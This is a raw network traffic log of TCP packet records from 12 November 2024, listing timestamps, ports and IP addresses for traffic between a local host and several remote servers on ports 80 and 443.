Nov 12, 2024 13:35:37.216798067 CET	62185	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.216814041 CET	443	62185	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.217104912 CET	443	62185	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.217144966 CET	62185	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.220099926 CET	62184	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.220113993 CET	443	62184	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.220385075 CET	62194	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.220412970 CET	443	62194	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.220468044 CET	443	62183	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.220474958 CET	62194	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.220676899 CET	443	62183	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.220722914 CET	443	62183	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.220731974 CET	62183	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.220781088 CET	62183	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.221120119 CET	62185	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.221133947 CET	443	62185	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.221146107 CET	62185	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.221178055 CET	62185	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.222114086 CET	62194	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.222127914 CET	443	62194	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.223361015 CET	443	62182	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.223380089 CET	443	62182	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.223464966 CET	62182	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.223479986 CET	443	62182	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.223524094 CET	443	62182	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.223563910 CET	62182	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.225994110 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.226052999 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.226069927 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.226073027 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.226084948 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.226084948 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.226161003 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.227685928 CET	62183	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.227698088 CET	443	62183	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.228368998 CET	62182	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.228382111 CET	443	62182	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.230439901 CET	443	62186	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.230462074 CET	443	62186	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.230470896 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.230520964 CET	62186	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.230526924 CET	443	62186	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.230572939 CET	62186	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.235152960 CET	62186	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.235179901 CET	443	62186	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.270297050 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.270315886 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.270328045 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.270374060 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.270386934 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.270396948 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.270426035 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.270452976 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.276479959 CET	443	62187	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.277692080 CET	62187	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.277725935 CET	443	62187	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.278223991 CET	62187	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.278233051 CET	443	62187	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.294936895 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.294960976 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.294981956 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.295037031 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.295037031 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.295120955 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.295135021 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.295193911 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.295259953 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.295272112 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.295310020 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.295448065 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.295458078 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.295514107 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.296138048 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.296150923 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.296161890 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.296175003 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.296188116 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.296195030 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.296233892 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.296575069 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.296600103 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.296612978 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.296655893 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.296674013 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.296835899 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.296849966 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.296860933 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.296926022 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.297341108 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.297353983 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.297363997 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.297421932 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.297421932 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.298001051 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.298013926 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.298042059 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.298051119 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.298084021 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.298113108 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.298127890 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.298149109 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.330683947 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.330801010 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.330821991 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.330863953 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.331034899 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.331099987 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.331115007 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.331126928 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.331139088 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.331159115 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.331188917 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.331440926 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.331454039 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.331465006 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.331482887 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.331495047 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.331501961 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.331517935 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.331547022 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.331815958 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.331828117 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.331840992 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.331885099 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.331907034 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.332057953 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.332070112 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.332082033 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.332096100 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.332102060 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.332118988 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.332149029 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.332335949 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.332349062 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.332396984 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.333769083 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.333811998 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.333825111 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.333853960 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.333877087 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.343084097 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.343100071 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.343113899 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.343153000 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.343200922 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.343224049 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.343238115 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.343285084 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.343285084 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.388148069 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.388185978 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.388205051 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.388214111 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.388241053 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.388273954 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.388288975 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.388302088 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.388344049 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.406171083 CET	443	62187	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.406553030 CET	443	62187	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.406656027 CET	62187	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.412369013 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.412412882 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.412431002 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.412434101 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.412467957 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.412480116 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.412549019 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.412560940 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.412612915 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.412612915 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.412718058 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.412738085 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.412772894 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.412791967 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.412801981 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.412811995 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.412863970 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.413278103 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.413353920 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.413356066 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.413367033 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.413415909 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.413422108 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.413439035 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.413449049 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.413466930 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.413518906 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.413618088 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.413630009 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.413642883 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.413661003 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.413702965 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.413963079 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.413975954 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.413988113 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.414020061 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.414020061 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.414037943 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.414067984 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.414108038 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.414222002 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.414232969 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.414243937 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.414280891 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.414280891 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.414606094 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.414616108 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.414697886 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.414724112 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.415112972 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.415179014 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.415184975 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.417186975 CET	62187	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.417207956 CET	443	62187	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.417218924 CET	62187	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.417224884 CET	443	62187	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.428762913 CET	62195	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.428798914 CET	443	62195	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.429099083 CET	62195	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.429338932 CET	62195	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.429352045 CET	443	62195	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.448729992 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.448786020 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.448800087 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.448865891 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.448909998 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.448921919 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.448946953 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.448992014 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.449069023 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.449079990 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.449130058 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.449193001 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.449219942 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.449233055 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.449246883 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.449337959 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.449409962 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.449426889 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.449434042 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.449474096 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.449492931 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.449666023 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.449723005 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.449736118 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.449749947 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.449759960 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.449775934 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.449789047 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.451289892 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.451348066 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.451359987 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.451375961 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.451406956 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.460464001 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.460527897 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.460539103 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.460539103 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.460582972 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.460712910 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.460724115 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.460736036 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.460747004 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.460757017 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.460758924 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.460794926 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.460810900 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.463491917 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.505621910 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.505636930 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.505711079 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.534171104 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.534181118 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.534240961 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.534250975 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.534260988 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.534280062 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.534324884 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.535384893 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.535393000 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.535438061 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.535449028 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.535460949 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.535487890 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.535509109 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.575006008 CET	443	62191	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.575447083 CET	62191	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.575475931 CET	443	62191	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.576106071 CET	62191	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.576118946 CET	443	62191	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.580473900 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:37.581677914 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.583878040 CET	443	62189	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.584245920 CET	62189	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.584273100 CET	443	62189	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.584461927 CET	443	62190	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.584656954 CET	62189	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.584671021 CET	443	62189	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.584872961 CET	62190	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.584892988 CET	443	62190	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.585226059 CET	62190	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.585236073 CET	443	62190	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.585330963 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:37.621624947 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.643733025 CET	443	62193	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.644054890 CET	62193	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.644093990 CET	443	62193	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.644435883 CET	443	62193	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.644788027 CET	62193	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.644864082 CET	443	62193	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.644989967 CET	62193	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.653008938 CET	443	62192	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.653954983 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.653969049 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.654016972 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.654048920 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.654052019 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.654074907 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.654093027 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.654117107 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.654330015 CET	62192	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.654362917 CET	443	62192	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.654850960 CET	62192	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.654859066 CET	443	62192	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.684864044 CET	62193	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:37.684910059 CET	443	62193	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:37.700393915 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.700490952 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:37.700520992 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:37.703613997 CET	443	62191	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.703684092 CET	443	62191	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.703860998 CET	62191	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.704027891 CET	62191	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.704049110 CET	443	62191	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.704065084 CET	62191	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.704071045 CET	443	62191	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.706964016 CET	62196	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:37.706990004 CET	443	62196	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:37.707091093 CET	62196	443	192.168.2.6	13.107.246.45
